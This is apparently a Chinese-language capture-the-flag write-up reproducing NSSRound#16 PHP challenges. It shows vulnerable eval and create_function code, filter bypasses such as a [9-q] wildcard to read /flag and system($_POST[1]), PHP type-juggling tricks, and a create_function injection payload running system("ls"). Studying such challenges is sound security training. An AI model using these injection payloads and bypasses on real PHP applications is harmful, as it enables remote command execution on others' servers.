nssround#16的复现
我个人认为这两到题目是有纪录的价值的
RCE但没完全RCE
上来的md5绕过就不多讲直接讲rec1
2
3
4
5
6
7
8
9
error_reporting(0);
highlight_file(__FILE__);
$shell = $_POST['shell'];
$cmd = $_GET['cmd'];
if(preg_match('/f|l|a|g|\*|\?/i',$cmd)){
die("Hacker!!!!!!!!");
}
eval($shell($cmd));
我们可以看到其将字母f,l,a,g?*都过滤了我们也就无法使用bash或者sh来绕过,也无法使用常用的方法,我查了以下wp有以下两种题解
1.[9-q]绕过
[9-q]
在linux里代表了ascii在9-q之间的字符,与通配符相似我们可以使用该方法进行绕过1
2?cmd=more /[9-q][9-q][9-q][9-q]
shell=system
2.使用$_POST绕过
我们可以给shell传值为urldecod使shell()失效。
在给cmd传值system($_POST[1]);
最后给1传值即可由于1没有被waf过滤使用我们可以直接在1里使用cat /flag
了解过php特性吗
1 |
|
我们看代码可以发现有四层检查
1.使intval函数我们直接使用数组绕过就可,intval在遇到数组时回直接返回1
2.我们使用md5值为0e开头的来绕过,is_num要为数字,其次我们需要将传入的值倒序,我们直接查就可以了
3.第一个114我们使用科学计数法绕过,传值为2e8
514可以使用9999999999a来绕过
4.我们直接给数组arr4[]随便传值只要不为nss1
2
3
4
5
6
7
8
error_reporting(0);
highlight_file(__FILE__);
$nss=$_POST['nss'];
$shell = $_POST['shell'];
if(isset($shell)&& isset($nss)){
$nss_shell = create_function($shell,$nss);
}
我们可以使用create_function注入
网站如下
create_function注入1
;}system("ls");/*